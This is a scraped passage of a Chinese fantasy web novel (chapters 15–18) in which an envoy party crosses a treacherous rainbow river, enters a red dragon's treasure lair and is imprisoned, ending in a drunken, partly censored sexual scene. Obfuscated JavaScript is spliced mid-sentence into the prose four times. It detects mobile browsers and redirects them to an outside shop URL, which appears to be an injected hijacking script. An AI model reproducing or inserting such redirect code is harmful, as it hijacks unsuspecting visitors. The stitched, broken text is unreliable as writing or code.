l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991983|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了岸上。 其他人走得有那么慢吗？ 弗兰茨还记得卡塔利娜和他是最后两个开始渡河的人，怎么到最后却是他们两个先上得岸？ 思索间罗斯和亨特也依次上了岸，她们同样也是一副疲惫的样子，接着是佩斯，她喘着气被亨特拉上岸后就一屁股坐到了地上。 “真奇怪……”佩斯低声道，“我几乎控制不住自己去想他。” “他”指的是谁，在场的人都心知肚明。 亨特低头看了佩斯一眼，罗斯则思忖着慢慢将她的猜测说了出来：“彩虹河——既然往届的使者们将其与迷雾森林和无尽雪山并列在一起，那么它一定有它的危险之处。真奇怪，一条铺满珍宝的河流，我们居然没有一点儿质疑就走进河流之中，为什么会毫无警惕，为什么来到岸上后格外地疲惫？” 不是的。 弗兰茨看向卡塔利娜，她有提醒过，尽管不明显，尽管她的目的也不是提醒，但是她知道，她知道这条河一定有奇怪的地方。 可是，她为什么不说，又为什么径直走进了河流中，是因为她知道自己不会受到影响吗？ 她到底，到底知道些什么？ 然而卡塔利娜什么也没有说，只是直直地承受他的注视，眼神没有躲闪，反而对他一笑。 她就是知道！ 在弗兰茨与卡塔利娜眼神交汇时刻，罗斯看向亨特，亨特也猜测道：“如果它的作用也是要阻拦我们前往龙穴，那么……” 像是意识到了什么，岸上的几人猛地向彩虹河看去—— 在沐浴着夕阳余晖的，晃动起来似乎如蜂蜜一般粘稠的河水中，还站立着两名格兰德城人，伍德和雷东多。 前三人手里或多或少都攥着一些珍宝，伍德甚至解开了装着“贝莉的金杯”的包裹，将珍宝和金杯裹在了一起。 他们神情痴迷，像是沉浸在一个梦幻的泡影中，忽略了河水已经涨到他们的胸口。 雷东多则是表情阴郁，他没有拾取水底的珍宝，因而行进速度比其余三人要快一点。慢慢地，他超过了其他人，独自走到了岸上。 是那些珍宝！ 是那些珍宝有问题！ “快放手！”亨特高声大喊，她快速走到岸边，似乎想要迈进河水之中。 可流动着幻彩的河水轻摇波澜，不急不忙地将亨特挡了回去。 “呃！”亨特闷哼一声，重重地坐到了草地上。 “怎么回事？！”佩斯大吃一惊，急忙搀扶起亨特，众人围了过来，连沉默的雷东多都朝这边看，“这是什么意思，我们不能迈进水里了吗？” “我不知道，但我觉得它似乎不想我们进去……”亨特心有余悸，她看向河中仍沉浸在华丽珍宝中的两个格兰德城人，气不打一处来，她抓起河边一捧泥沙重重地抛了过去，“你们不要命了吗？两个猪头！看看你们的周围，看看你们自己！” 或许是亨特的声音太有感染力，也或许是她在格兰德城人心中十分有威望，弗兰茨没想到亨特这一喊，竟让那两个格兰德城人慌乱地惊醒了过来，手忙脚乱，手脚并用地向岸边一顿刨。 罗斯也趁机在岸边寻到一根树枝，她趴在岸边探出身子，众人协力之下，这才将两人拉上了岸。 嘎巴—— 一声脆响，树枝不堪重负，被河水冲断。 此时彩虹河中，只剩下伍德一人。 15. 第 15 章 这的确是诱人的，珍宝。 伍德俯下身子，右手虚握，河水送来浮力，珍珠项链便在他的手心里来回游动。 真是美丽。 伍德握住了拳头，将那串珍珠项链收进了怀里。 这是理所当然的事。 伍德心想，成为使团团长，完成陛下交予他的秘密任务，这会提升他的身份地位但身为一个即将有非凡地位的人，他不得不为自己谋划更多。 气派的府邸庄园，专职的佣人，社交场所需的资金，他又不是没有见过那些有身份却因为未能平衡收支导致生活窘迫的人，更何况现在国库亏虚，陛下能奖赏他的实物恐怕并不会多于比以往的使者。 伍德自认为深谋远略，他所考量的当然要比旁人多。 珠宝、黄金、银器，伍德意犹未尽地直起身子，他还想拾取更多，却又突然意识到他完全可以回来的时候再取一部分。 是了，完成任务是首要目标，毕竟如果只有钱财没有地位，并不能满足伍德对自己的高要求。 拿定主意后，伍德不再拾取珍宝，开始向岸边游去。 游？ 直到这时，伍德才发现彩虹河的河水不再问最开始那般轻波慢摇，它变得湍急，充满暗流，水位也越涨越高。 “嘿！” 伍德有些慌张地向四周看去，其他人不知何时已经超过他来到了岸边，他先是自然而然地生起一股必要的怒意，但这点火星很快就被扑过来的河水浇灭了。 先上岸要紧！ 伍德抱紧了怀里的包裹，奋力向前游，模糊的视野里，其他人正站在岸上看他。 “他会被淹死吗？”一个格兰德城人向同伴小小声地说，她看了一眼雷东多，又疑惑道，“他怎么不去救他。” 她的同伴怕雷东多又拿箭射她，用力地拽了拽她的手，于是，岸上又陷入了一片沉默。 “看来你们团长真是个不讨喜的家伙。”半晌，亨特看了一眼垂着头无动于衷的雷东多，对罗斯评价道。 罗斯不语，仿照亨特刚刚的举动寻来一根树枝探入水中。亨特见了，耸耸肩，站在一旁随时准备搭把手。 可是谁也没有料到，河水汹涌如猛兽，伍德明明已经抓住树枝的另一端了，树枝还是被河水从中间冲断了。 “真要命！” 罗斯暗骂一声，一边抽出佩剑往前递一边冲伍德大喊：“快把东西都扔掉！不然我们都拖不动你！” 伍德攀在剑鞘上，犹豫片刻后还是抱紧了怀里的包裹。 他大声否决：“不，不！罗斯，这是‘贝莉的金杯’，怎么可以随意丢弃？” “别在这装傻了你这头只会大声叫喊的蠢驴！把那些捡来的珠宝都扔掉！”亨特怒不可遏，她抱住罗斯的腰一起往后拔。 其他几人见了，互相对视一眼，也加入了进来。 可奇怪的是，明明岸上的人数多于水里的人数，伍德还是被河水拖曳着往下沉，很快罗斯的脚面也被河水浸湿了——很显然，有一股巨大的吸力将人往水里拽！ 这到底是怎么一回事？！ 弗兰茨的额头冒了一层薄汗，他咬紧牙，余光却见卡塔利娜坐在一旁无聊得打了一个哈欠。 她对旁人的目光似乎非常敏锐，察觉到有人看她，尽管那只是弗兰茨轻飘飘的一眼，她明黄色的眼睛也飞快地转了过来。 发现是弗兰茨错愕的目光，卡塔利娜的脸上流露出一丝了然。但她仍是什么也不做，只是把注意力从放空转移到他们这场怪异的拔河上。 . 这场僵持并没有持续很久，伍德咬牙不放，罗斯的一只脚也踏入河中。 亨特大嚷：“他再不松手，我们都会被他拖下水的！罗斯，我要松手了，为了救一头蠢驴搭上自己的性命可不值得！” 眼见众人都要松手，伍德大惊失色，钱权在生死之际还是没有性命重要，要紧关头他终于舍得松开一只手将包裹往岸上甩。 一包裹的金银财宝丁零当啷呈弧线抛出，“贝莉的金杯”也赫然裹挟其中，落在地上咕噜噜地转。 砰！ 在包裹脱手的那一瞬，伍德只觉得周身一轻，整个人被抛到空中然后又重重地摔到地上。其余人也没有料到伍德挣脱河水来得这么突然，他们不受控制地往后一坐，毫无防备滚作一团。 待到所有人狼狈地从地上分开后，夕阳的余晖已经完全沉到山峰背后去了，高大沉默的雪山如同一道铁壁，投射下阴影。 四周倏然一暗，只余下雪山一道洁白的轮廓，如擦亮的银刃一般闪着耀眼的光。 河水恢复了平静，失去了夕阳余晖的映照，绚烂的光芒褪去，迷人的珍宝不见，“彩虹河”又变回了一条淡绿色的小河，刚刚所发生的一切仿佛只是一场错乱又激烈的臆想。 不仅是身体劳累，众人的精神也疲惫异常，有人站着有人瘫倒在地，都空茫地呆滞着。 只有卡塔利娜，看完整场莫名其妙的乱剧后她慢悠悠地站了起来，目标明确地走向“贝莉的金杯”。 打量片刻，她将金杯拿了起来，她用手背上的布料擦了擦杯口，然后非常随意地倾斜下杯子—— 一道紫红色的液体从金杯里倾斜而出，馥郁的酒香也随之在这荒野中扩散，众人单是闻着，几乎都要飘飘然地醉了。 卡塔利娜并没有选择再倒第二下，她看着酒液如泉水流淌浸润了地上一小片草地，忍不住伸出另一只手接了一小捧来喝。 味道很不错，她很喜欢。 卡塔利娜满足地眯了眯眼，想要再去接第二捧。怎料一只手突然斜插过来，夺走了金杯。 “够了！” 罗斯隔着布将“贝莉的金杯”裹好，竭力抵抗着金杯的诱惑。 她侧着头对卡塔利娜严厉道：“你不该随便动用这只金杯，它对使用者产生的影响比你想象中的还要大！” 卡塔利娜撇了撇嘴，不以为意。她的脸上还沾着一道道酒渍，撇嘴的时候反出一点淡淡的微光，红得发亮。 罗斯皱着眉，还想再说些什么，身后却传来伍德惊慌的声音：“我的、我的，这些珍宝怎么都变样了？！” 天色愈发的暗了，雪山下绿的树，绿的湖， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991984|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿的雾，影影绰绰让人看不清楚。还未到夏天，离开了夕阳余温的烘烤，风也变得刺骨起来。 伍德一声大叫后，四周更显寂然。 众人沉默着慢慢围了上来，只见伍德刚刚仓促抛洒珍宝的草地上散落了一地的杂物——碎石、杂草，期间甚至夹杂着几块被水流冲洗得很圆润的白色骨头，哪还有什么奇珍异宝？ 也曾在彩虹河里拾取过珍宝的格兰德城人暗暗吸气，她一想到刚刚握在手里的其实是动物或者人类的骨头，就不由得浑身一颤，抖落一地鸡皮疙瘩。 “这彩虹河到底是什么？诱人溺水的河流吗？”佩斯惊诧。 众人后怕，纷纷嚷嚷，只有伍德心底生出一股被戏耍的意。 他既觉得丢脸又气急败坏，看着一地零碎，就想到差点为此丢了性命，更是怒不可遏。 伍德飞起一脚将碎石替回水里，发泄一通怒意后，才转过身来对众人沉声道：“走吧，明天就要出发去龙穴了，我们要找个地方休息规划一下。” . 燃起篝火，抓来几只山鸡野兔，大家坐了下来烘烤身上的湿意。 上一次像这样较为舒适地吃一顿晚饭是在离开格兰德城进入迷雾森林后，可短短一段时间内，围绕着篝火的人竟然已经少了一大半。 想到这儿，原本轻松了一点的氛围也低迷了不少。 亨特拍了拍佩斯的肩膀，又捏了捏她，有意让她振作起来，佩斯也明白她的心意，尽力展示出一个笑容。 不过，虽然昔日的伙伴意外离去，但路上也总算认识了一些值得相识的人。 亨特朝弗兰茨点头示意，又为先前对他有偏见的事情道歉，见弗兰茨收下了她的善意，她便转身去找罗斯。 一回头，发现罗斯正和伍德在不远处激烈地讨论着什么。 亨特以为他们正为今天下午彩虹河发生的事情争吵，走近一听却不像那么回事，争执中夹杂了几个词语，听着倒像和龙穴相关。 “怎么了？”亨特疑惑发问，伍德却像是被吓了一跳似的往后退了两步。 罗斯看着还算镇定，她清了清嗓子，轻描淡写道：“没什么，只是对明天出发去龙穴的事情有不同的意见。” 亨特皱了皱眉，她直觉有什么不对的地方，却也没有证据。亨特看着火光映在罗斯的半边脸上，让她的表情显得晦涩不清：“原来是这样，那我们明天有什么计划吗？” 亨特边问边往回走，引得其他人的目光都投射了过来。 伍德与罗斯对视一眼，而后沉吟道：“正如往届使者所言，荣誉使团会将珍宝送到龙穴入口。而我们这回则要更加英勇，我们要将‘贝莉的金杯’亲自送到龙的面前。” 龙？ 听到他们的对话，弗兰茨沉下了心。 对于这种事，他总是抱有谨慎怀疑的态度。 透过浓浓的夜雾，借着惨淡的月光，弗兰茨凝神远望，在视野的尽头，占据着一座形状奇怪且巨大的黑影。 那是红龙的巢穴。 “害怕吗？”他回过头，卡塔利娜正托着下巴望着他。 16. 第 16 章 “害怕吗？”卡塔利娜问道。 我害怕吗？ 弗兰茨问自己。 海难、迷雾森林、无雪密道，再到彩虹河，一路上经历种种，他遇到了很多预料之外的事。对于这些事情和即将要做出的行动，他与其说是害怕，不如说是一种紧张的心态。 紧张未知的风险，紧张是否会见到红龙，紧张……真相的到来。 走得越远，他越觉得陷入了一个逐渐缩窄的隧道，每前进一步，就离真相越近，退路也随之更渺茫，除了前进别无选择。 因而当真相即将在面前展开，除却紧张，弗兰茨心底还有一丝难以名状的兴奋。他觉察到自己竟然生出了这样的兴奋，既是讶异，也催生了期待。 “不。”他说。 视线从卡塔利娜身上转向了远方，弗兰茨眺望着龙穴朦胧的阴影，轻声道：“现在并不是害怕的时候。” “为什么呢？”卡塔利娜的声音也放得很轻，“你们这一次要进入到红龙的巢穴，为什么不害怕呢？你不害怕遇到红龙？你不怕红龙吃掉你吗？” “那你不怕吗？而且，为什么是‘你们’？”弗兰茨抓住了卡塔利娜话里的一个小尾巴，“你不用去吗？伍德可不会同意的。还是说你又知道了什么，卡塔利娜，你的某些观念和我们大不相同。” 这是一个难得平和的晚上，似乎因为明天即将迎来重要的行程，所有人都围在篝火前抓紧最后的时刻放松。 持续的低声交谈，偶尔几声轻快的笑声，树枝燃烧时偶尔的哔啵声，氛围很舒适，却不合适用来谈一些更细致的事情。 因此弗兰茨并没有说的很明确，但卡塔利娜知道他所指的是什么意思。 这样的不同，不是一种个人与个人观念上的不同，也不是不同地区的人有着不同的生活方式导致的思维差异。 它在本质上更明显，就像，就像——弗兰茨看着卡塔利娜，昏暗的火光下，她的眼睛仍显得十分明亮。 就像她在物种上与他们不同，所以言行举止才会有这么大的区别和差异。 她会是人类和其他种族的混血儿吗？弗兰茨想。力气很大，说话很直，她是人类与矮人的混血吗？ 混血儿虽不常见，但也并不算少。在与白岛一海之隔的维洛兰王国，甚至有着聘用混血儿做苦力的习惯。 “我不是什么人类混血。”像是猜到弗兰茨的想法，卡塔利娜居然笑了一下。 她笑得很轻松，不像以往那种观察者露出“有意思”的表情的笑。 看着卡塔利娜的笑，弗兰茨愣了一下，下意识把视线移开了。 “而且我不怕龙。”卡塔利娜又道。 在弗兰茨的余光里，她嘴角的幅度越扬越大，这让他莫名的有些局促。 为了摆脱这种奇怪又微妙的感觉，弗兰茨只好将话题往另一个方向上引：“如果只是普通的行赏，那我也没有什么可惧怕的，既有良好的协约在前，又有珍宝在旁，我们不伤害它，那么它也没有理由攻击我们。除非——” 他又看向了卡塔利娜：“就像你暗示的那样，我们并非前去行赏，或者你说的‘进贡’；而是去做别的什么事情。你知道要做什么吗？卡塔利娜，你似乎觉得我们，或者说某些人会做什么，对吗？” 卡塔利娜与弗兰茨对视，她望着弗兰茨灰蓝色的眼睛，上面轻薄的愁雾已经退去，更显纯净。 “我不知道，”她探身，向弗兰茨靠近，瞳孔兴奋地收缩着，她一边笑一边小声地警告，“你可不要被龙吃掉了。” . 次日，薄雾还笼在肩上之际，众人就已经收拾好行囊，整装待发。 待到日光从前方射下，龙穴的模样就已经清晰地展现在眼前。 巨大的岩石破土而出，交错着立在地面上。岩石漆黑，金色的阳光落在上面也无法给它们染上一点别的颜色，显得十分突兀。 岩石之间排列得杂乱，但很紧密，上方没有封顶，且有很深刻的爪痕——毫无疑问，那必然是龙的爪痕了。 显而易见，巢穴修建得并不精细，与人类宫殿相比更显粗糙，但直面它的那一刻，弗兰茨只能感受到一股十分强大且野性的气息扑面而来。 像眠龙喷出的一阵龙息，尽管他并没有经历过。 “害怕吗？”卡塔利娜在他耳边轻声问。 她说话时吐出一股小小的热气，从弗兰茨裸露在外的皮肤上一扫而过，接着便融进了清晨微凉的空气里。 弗兰茨打了一个寒颤，他从眼前的震撼中回过神来，慢慢回头看了卡塔利娜一眼，仍是什么话也说不出。 其他人也是如此。 面对龙的巢穴，没有人能轻松的交谈调侃，私语停止了，寂静的环境里，龙的巢穴更显慑人。 “……好了，好了，”片刻，伍德才沙哑着嗓子开口，他与罗斯对视一眼，才迟疑道，“这并没有什么好怕的，勇士们。” 往日里伍德最擅长的言语停滞了，他吞了吞口水，低声催促道：“现在，我们该进去了。” 进去？ 该怎么进去？ 其他人都生出一丝疑惑，却没人敢说话。众人下意识放轻了脚步，走向龙穴。 直到走近时，他们才发现，这些黑色的岩石排列虽然紧密，却有不少缝隙可供通过，宽度一人有余，对人类来说并不算狭窄。 “进去？然后呢？”亨特下意识用气声问，“昨晚说要将金杯交给它，难道要亲自给吗？它不在怎么办？它睡着了怎么办？难道我们没有一点儿计划？这太疯狂了！” “小声点！”伍德同样用气声呵斥，他深吸了几口气，“一切、一切都在我的掌控中。” 挨个从岩石之间的缝隙钻过去后，众人登时陷入一片黑暗。明明上面并无遮挡，但太阳似乎也只能在岩石顶端蒙上一层朦胧的，淡淡的光晕。 “什么都看不见了……我们能点火吗？” 佩斯小小地声问，过了一会儿，“嚓”的一声，微弱的火光照亮了脚下的路。 雷东多沉默着将几盏油灯分发，这种关头下，没有人会拒绝。 提着灯，众人摸索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991985|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着往前走，绕过一个又一个岩石。在不安与焦躁几乎要盈满心头之前，众人转过一个拐角，眼前突然一亮。 弗兰茨眯起了眼睛，缓和过后，他慢慢张开眼，惊愕地愣住了。 他的眼前充盈了一室金光，从自己脚下一直蔓延到视线尽头，但他知道，那只是他视线的尽头，而不是黄金的所有。 是的，这样灿烂的金光不是天上太阳洒落的，而是铺在龙穴里黄金与珠宝散发出来的。 黄金在岩石间构筑起半凝固的河流与山体，油灯里微小的光落在上面，一瞬间便使整个洞窟灿若星河，众人呆滞在原地，一时间说不出话。 “真美丽，不是吗？”晃神间，卡塔利娜对他耳语。 “真是美丽……”弗兰茨轻声呢喃，“这真是，真是——” “这就是，就是一个藏宝库……”伍德无法自抑般向前进了两步，一只脚踏入了金银珠宝的河流之中，丁零当啷发出一阵声响，整个洞窟里的黄金珍宝缓缓流动起来。 “小心！”罗斯拽住伍德，众人急急后退，缩回到岩石之后。 “我们，我们现在要怎么做？它在吗？有人看到了吗？”亨特连问几个问题，但没有人能回答出来。所有人的心都在砰砰跳动着，口干舌燥，心神注意仍留在那一室的金银珠宝上。 “我，我们，”伍德咋舌，他摇了摇头，下定了决心，“我们必须要亲自将‘贝莉的金杯’拿到它面前。这是陛下的要求。那么——” 他的目光在人群中扫视，最后落到了弗兰茨身上：“我和罗斯副团长负责与它交涉，罗兰先生，身为驭龙女士的后人，‘贝莉的金杯’则由你——” “我？”弗兰茨皱眉。 他并非缺乏勇气，不愿承担责任，只是以伍德的性格，他真的会将这种“关键时刻”的位置让给他吗？ “对，就是你，”伍德意外地没有发作，而是点点头，示意罗斯将包有金杯的包袱交给他，随后他看向其他人，“格兰德城人，你们跟在我与罗斯身后。” “那他呢？”佩斯突然提问，其余人则顺着她的话看向雷东多。 “他——”伍德卡顿了一下，补充道，“他和你们一样。” . 部署后，伍德大步向前，大声说着什么，声音在空中来回飘荡。佩斯则忍不住在亨特耳畔窃窃私语：“……我觉得有一点不对劲。” “我知道。”亨特眉头紧皱，她看着站在前面的几人，心有不安。 太草率了，亨特环顾四周，这里并没有龙出现的痕迹。 而且，不对——等等！ 雷东多去哪里了？刚才伍德不是说他和格兰德城人站在一起吗？为什么一眨眼他就消失得无影无踪？ 亨特的额角留下一滴冷汗，突然间，一个声音响起。 “啊，它们来了。” 那是卡塔利娜的声音。 它们？ 什么它们？ 弗兰茨心头一跳，本能地想要回头，但未等他动作，余光闪过几道黑影，直直地朝他们冲了过来。 17. 第 17 章 晃神间，从天而降的几道黑影已经欺身上前。 弗兰茨下意识后退几步，可他忘了脚下不是什么坚硬的土地，而是金银珠宝堆砌而成的，会滑动的山体。因此他这一退，反倒使自己滑到在地。 直到这时，他才看清楚这突如其来的黑影原来是几个龙牙战士！ 其他人也手忙脚乱，亨特一边抵抗一边质问伍德：“这到底怎么一回事？！为什么龙牙会攻击我们？是我们做了什么，还是红龙对我们抱有敌意？” 自从黑影出现后，伍德一直僵硬地站在原地，他的呼吸急促，神色慌张，以至于龙牙战士已攻到身前他还呆愣着没动。 “伍德！”罗斯一声大喊，这才惊得他脚下一滑，倒地瘫坐。 “不，不，”他低声自语，“难道被发现了？怎么可能？我们明明是来行赏的，为什么会被龙牙攻击？不不不——” “发现什么？”仓惶躲闪间，距离伍德最近的佩斯听到了他的话，难以置信地回过了头，“你这是什么意思？！你要瞒着我们做什么？是不是你做了什么，导致——” “佩斯！”亨特扑了过来，抱着精神紧绷的佩斯在珠宝堆里翻滚了两圈，这才躲过了龙牙的攻击。 但是佩斯质问的声音十分尖利，在场的其他人都听到了她的话，质疑扰乱了他们的心神，耽误了他们的闪躲。不过几个呼吸，所有人都被制服在地。 “到底怎么一回事？！伍德团长，伍德！” “它们要对我们做什么？我们不是来……为什么要抓我们？” “砰”的一声响，打断了众人激烈的对话。 弗兰茨被龙牙按在一堆金币上，他艰难地转过头，只见刚刚不知道躲到哪里去的雷东多被一只龙牙重重地掼倒在地，身体不时地抽搐一下。 “他、是不是他做了什么？”一个格兰德城人低声问道，但龙牙把他们抓起来可不是为了让他们聚会聊天的，因此对话被迫中断，龙牙抓着他们快速移动起来。 为什么它们没有直接动手？ 被捆绑扭送时，弗兰茨突然意识到这个问题，先前在迷雾森林的时候龙牙见到人则是毫不犹豫主动攻击的，为什么到了龙穴，它们反而没有下死手？ 还有，伍德是不是瞒着些什么？弗兰茨挣扎着看了伍德一眼，他原本就深红色的脸上布满了汗珠，像要被烤熟了似的冒着热气。 这绝对有不对劲的地方！ 弗兰茨咬牙，伍德绝对是做了，或者想他没来得及做一件十分严重的事情，而且红龙一定觉察到什么。不然仅是因为“行赏”或者“进贡”，犯不着让龙牙把他们抓起来。 到底是什么事情？ 还没找到头绪，弗兰茨只觉得后背一股推力袭来，双臂上的桎梏消失了，整个人跟踉跄跄地向前跌；才狼狈地保持平衡，又有一人被推搡进来，直直撞到他的背上，戳得他后背生疼。 一个小巧的东西被丢了进来，在地上滚动了几下，随后是什么固体重重地插进了地上，远远地荡起几个回音。 他们被龙牙关起来了。 “害怕吗？” 熟悉的声音，熟悉的问题，弗兰茨回过头，卡塔利娜大咧咧地坐在地上，没有丝毫紧张。 “还好。”看到是卡塔利娜，弗兰茨反而松了一口气。 他喘着气点点头，接着开始查看起他们被关起来的这个地方。 “牢房”的主体仍旧是漆黑不反光的岩石，这里只关了他们两个人，空间还算宽敞。 他们进来时的入口被龙牙插上了几根乳白色柱体充当栅栏，弗兰茨靠在上面往外看，没有见到其他人也没有听到别的声音。 看样子，龙牙有意将他们关到不同的地方。 暂时没有逃出去的可能，弗兰茨往回走了两步慢慢坐下。 “找到出去的路了吗？”卡塔利娜问道。 “很遗憾，没有。”弗兰茨靠在岩石墙壁上，现在眼睛终于适应了黑暗，他才发现卡塔利娜正笑眯眯地看着他。 “被抓起来，你似乎很高兴？”想到伍德奇怪的反应，弗兰茨试探性地问道，“还是说你已经料到会发生这样的事情？” “我可不知道那样的人在想些什么，而我也不在乎，”卡塔利娜露出一点轻蔑的表情，继而盯着他反问，“你好像也不担心，为什么？” “或许因为我已经‘死’过一次了。”弗兰茨微笑道。 他此刻的心情倒还算平静，不过对于刚刚自己所说的那句俏皮话，他也有一些意外。或许因为无雪密道那一次意外，真有点儿改变他了。 他瞧了一眼卡塔利娜，定了定神，又说：“而且，我现在更关心另一件事。” 他现在几乎可以断定，伍德，或者也包括了罗斯和雷东多在内，他们除了行赏，身上还背负着另一个任务。 只是这个任务是什么，弗兰茨还未能想清楚。最严重的可能就是杀死红龙，但仅凭他们几人的力量，又能如何杀死一头强壮的龙？如此自不量力的事情，他们怎么敢做的？ 还有红龙设下的防备。 如果使团真的是来“行赏”，它何必设下这么多障碍？弗兰茨想，也许不是梅兰妮尔·杜兰德忘记在她的手札上记录迷雾森林和彩虹河的存在，而是在她前往龙穴的时间里，迷雾森林和彩虹河还没有出现。 最初她们之间的关系是很友好的，但后来呢？后来森林里弥漫着毒雾，龙牙徘徊，无雪密道无人知晓，彩虹河诱人沉溺。 后来一定发生了什么。 “你的猜测很有道理。”卡塔利娜听完弗兰茨的分析，煞有其事地点点头。 然后她又问：“接下来你要怎么做？” 弗兰茨开了个玩笑：“准备被红龙吃掉或者烧死。” 他靠在墙上颇不自在地挺了挺背——他的双臂被龙牙反绑在身后，长时间没有活动实在有点儿难受。 卡塔利娜见了，不动声色地问：“那位驭龙女士，难道没有留下点儿别的东西，帮你向龙证明你的无辜？” “我本来就是无辜的，”弗兰茨笑了笑，“但在红龙眼里，就不一定了。它可能被好几届使者惦记过呢，在它眼里，我和他们并没有什么不同。不过——” 他像是想起点什么，迟疑了一会儿，还是说了出来：“红龙曾给过她一枚鳞片，我想，这也许会是一个突破口。” “鳞片？你怎么知道的？” “它是赤红色的，很硬，过去这么多年了摸起来还留有余温。我并不觉得蛇或者蜥蜴的鳞片会像这样。” 卡塔利娜似乎起了很大的兴趣，她凑上前来，弗兰茨这才发现不知何时她已挣脱了束缚。 她追问：“你有带在身上？” “……没有，我把它放在家里了。”弗兰茨向后靠了靠，但身后是岩壁，他没有多少空间可以后退。 “好吧，”她撇了撇嘴，语气听起来有点失望。 她蹲在弗兰茨身前，托着腮思考了一会儿，在弗兰茨终于忍不住想要问她做什么之前，卡塔利娜伸手帮他把身上的绳子解开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991986|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你——” “怎么？”卡塔利娜反问，“解开绳子而已，没有什么难的。” 弗兰茨把讶异吞回肚子，揉了揉酸痛的手腕，道：“那你呢，卡塔利娜。你的秘密是什么？这一路上你知道的很多，对于刚刚发生的事情，你似乎也并不意外。你是怎么知道的？” “嗯？谁说我们要共享秘密的？”卡塔利娜双臂垂落，双手撑在地上身体向前倾，直到将弗兰茨逼得贴在岩石上，她才满意地退开。 她缓缓站了起来，俯视弗兰茨片刻后，卡塔利娜退后了几步，将龙牙一同抛进来包袱捡起来解开，“贝莉的金杯”露了出来。 黑暗中，金杯仍晕着一圈耀眼的光环，卡塔利娜把玩着那只小小的金杯，蓦地往地上一倒，醇厚的香气随着流出的酒液在囚室里弥漫开来。 卡塔利娜仰起头，隔空大饮一口，酒液顺着她的嘴角流到下巴再滴落下来，洇湿了衣襟。 她保持着倒酒的动作，转头看向弗兰茨：“要不要来一点？” 这看起来实在是太疯狂了。 但在此刻，在这样的情景，在不知死亡何时降临，不知生机是否存在之际，弗兰茨的心急促地跳了起来。 “贝莉的金杯”会给使用者带来极大的影响。 但是，都到了这种时刻，又有什么可顾虑的？ 弗兰茨不由自主地微笑了起来，像是被诱导了一般，他站起身径直向卡塔利娜走去。 每向前一步，弗兰茨的笑容便更显一分。 他走到卡塔利娜身边，定定地看着她，然后半跪下一条腿，笑着对她说：“好。” . 扑鼻而来的先是水果的芬芳，接着，他的舌头触碰一股凉意，微酸，他开始吞咽，然后尝到了持久的甜，最后是一点涩味。 弗兰茨被呛了一下，退后两步，畅快地笑起来。他擦掉唇角溢出的酒液，对卡塔利娜点点头：“味道确实很好。” “我很喜欢。”卡塔利娜也对他笑。 她仰头继续痛饮，两人一人一口动作狂放，下巴衣摆尽被染湿，身体也在不知不觉中越靠越近。 直到最后，弗兰茨一屁股跌坐在地上，摇着头低低笑道：“……我不喝了，我，我够了。” 卡塔利娜于黑暗之中盯着他，因为摄入了大量的酒液，他原本苍白的脸颊和胸口蒸腾上几分红晕。 他的眼神朦胧，衣襟也敞开了几分，于是葡萄酒的残液便顺着他的下巴滑过他的喉结一路往下，最后流到了看不见的地方。 这确实，招人喜欢。 卡塔利娜咽下一口酒。 虽然白跑一趟，但还算有意外收获，卡塔利娜又大饮一口，酒液顺着咽喉流经肚腹，火焰随着奔腾的血液燃烧。 可我总要收点利息的，卡塔利娜将金杯随手一抛，扯掉手套走上前。她捏住弗兰茨的下巴，左右打量了一下，不输前人，她很满意。 所以她毫不顾忌地拉开他的衣衫，毫不留情地将项链盒扯掉丢到一旁，她尖利的指甲在弗兰茨身上划出一道道红痕，这让她更加亢奋起来。 抚摸、揉弄，卡塔利娜一手撑开弗兰茨的嘴唇，伸手搅动，牵出银丝。 她看他呛咳了几声，看他喘气。 弗兰茨灰蓝色的眼睛蒙着一层薄薄的雾，神情和动作，都让她觉得不虚此行赚得更多。 她很喜欢，也不必忍耐，她居高临下地钳制住弗兰茨的肩膀，就像一个最优秀的水手驾驶着最漂亮的帆船，纵丨丨情于颠丨簸的海浪。 18. 第 18 章 这太疯狂了。 弗兰茨半倚靠在岩石壁上，这真的太疯狂了，场景不对，时间也不对。 他没有能力思考，很快就被卡塔利娜裹挟着卷入这不可抵抗的风暴中。 （这里连脖子都没有！！！！） 卡塔利娜的动作可以说是很粗丨鲁，在抵达之前他先体会到的是疼痛。 但在此刻，弗兰茨觉得他就像一把空置了太久的弦琴，需要人毫不吝啬地丨拨丨动，才能确定自己的存在。 . （而这里也只是在接吻，到底要干嘛！！！） 